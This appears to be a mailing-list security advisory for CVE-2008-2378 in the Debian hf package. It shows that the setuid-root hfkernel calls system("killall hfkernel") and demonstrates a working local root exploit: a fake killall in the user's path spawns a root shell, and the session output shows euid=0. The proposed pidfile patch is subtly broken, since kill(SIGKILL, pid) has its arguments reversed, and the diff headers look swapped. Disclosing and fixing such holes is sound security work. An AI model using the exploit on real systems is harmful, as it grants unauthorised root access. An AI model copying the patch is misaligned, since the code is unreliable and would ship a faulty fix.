hf - CVE-2008-2378 - local root exploit
The hf package, Described by Debian as an amateur-radio protocol suite
using a soundcard as a modem, is a program that eventually becomes
setuid(0), and has a trivial security hole in it.
By default the package installs "/usr/bin/hfkernel" as a typical binary,
but when first started via the program "hf" the binary is changed to
be setuid(root).
This is demonstrated:
skx@gold:~$ hf
Hello I am hf, the startscript for hfterm & hfkernel.
I look for them in /usr/bin. If wrong, edit me.
hfkernel must run with root rights.
The suid bit has to be set. Be aware that this can be a security hole.
Please do as root "chmod 4755 /usr/bin/hfkernel".
or start this script again as root.
If you do start the program as root the permissions are changed:
skx@gold:~$ sudo hf
Hello I am hf, the startscript for hfterm & hfkernel.
I look for them in /usr/bin. If wrong, edit me.
hfkernel must run with root rights.
The suid bit has to be set. But be aware that this can be a security hole.
I will do this now "chmod 4755 /usr/bin/hfkernel".
For you, root, I will start only hfkernel for test purposes.
...
Now the program is setuid:
skx@gold:~$ ls -l /usr/bin/hfkernel
-rwsr-xr-x 1 root root 244120 2008-05-07 19:37 /usr/bin/hfkernel
Unfortunately the hfkernel program contains a trivial root hole:
int main(int argc, char *argv[])
{
// snip
while ((c = getopt(argc, argv, "a:M:c:klhip:m:nt:s:r:Rf23")) != -1)
switch (c) {
// snip
case 'k':
system ("killall hfkernel");
//
}
Creating ~/bin/killall is sufficient to gain root privileges.
skx@gold:~$ echo -e '#!/bin/sh\n/bin/sh' > ~bin/killall
skx@gold:~$ chmod 755 ~/bin/killall
skx@gold:~$ hfkernel -k
sh-3.2# id
uid=1000(skx) gid=1000(skx) euid=0(root)
This has been given the identifier CVE-2008-2378.
Below is the patch that I've come up with to fix this hole, which
is a simple pidfile approach. Unless anybody has any comments
I'll upload a fix for Etch on Monday/Tuesday.
Steve
--
--- hf-0.8/hfkernel/main.c 2006-12-22 10:44:23.000000000 +0000
+++ hf-0.8.orig/hfkernel/main.c 2008-11-01 10:33:44.000000000 +0000
@@ -7,19 +7,7 @@
* Copyright (C) 1996 Thomas Sailer (sailer@ife.ee.ethz.ch)
* Swiss Federal Institute of Technology (ETH), Electronics Lab
* modified by Gnther Montag
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ * This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
*
*/
@@ -78,6 +66,11 @@
#include "alsa.h"
#endif /* HAVE_ALSA_ASOUNDLIB_H */
+#ifndef PID_FILE
+# define PID_FILE "/var/run/hfkernel.pid"
+#endif
+
+
/* --------------------------------------------------------------------- */
/* these variables take hfkernel's options */
@@ -154,6 +147,49 @@
}
}
+void kill_daemon()
+{
+ FILE *f;
+ int pid;
+
+ if (!(f = fopen (PID_FILE, "r")))
+ {
+ errstr( SEV_FATAL, "Failed to read from PID file");
+ exit(1);
+ }
+ fscanf (f, "%d", &pid);
+ fclose (f);
+
+ kill( SIGKILL, pid );
+ unlink( PID_FILE );
+ exit(1);
+}
+
+
+int write_pid()
+{
+ char buf[20];
+ int fd;
+ long pid;
+
+ if ((fd = open (PID_FILE, O_CREAT | O_TRUNC | O_WRONLY, 0600)) == -1)
+ {
+ errstr (SEV_FATAL, "cannot open pidfile for writing ");
+ exit(1);
+ }
+ else
+ {
+ pid = getpid ();
+ snprintf (buf, sizeof (buf), "%ld", (long) pid);
+ if (write (fd, buf, strlen (buf)) != strlen (buf))
+ {
+ errstr (SEV_FATAL, "cannot write to pidfile ");
+ exit(1);
+ }
+ close(fd);
+ }
+ return pid;
+}
/* --------------------------------------------------------------------- */
@@ -529,8 +565,8 @@
break;
case 'k':
- system ("killall hfkernel");
-
+ kill_daemon();
+ break;
case 'l':
logging = 1;
break;
@@ -635,6 +671,7 @@
exit(1);
}
+
if (logging)
openlog("hfkernel", LOG_PID, LOG_DAEMON);
printf("hfkernel %s starting...\n", PACKAGE_VERSION);
@@ -699,6 +736,8 @@
printf("Note: hfkernel is only part of the hf package.\n");
printf("It is controlled by the graphic terminal hfterm. To start them both, use the start script hf. In newer linuxes (kernel 2.6...) we need the syntax\n ´LD_ASDSUME_KERNEL=2.2.5 hfterm´, this is already prepared in the hf script. \n");
+ write_pid();
+
start_io_thread();
exit(0); }
Reply to: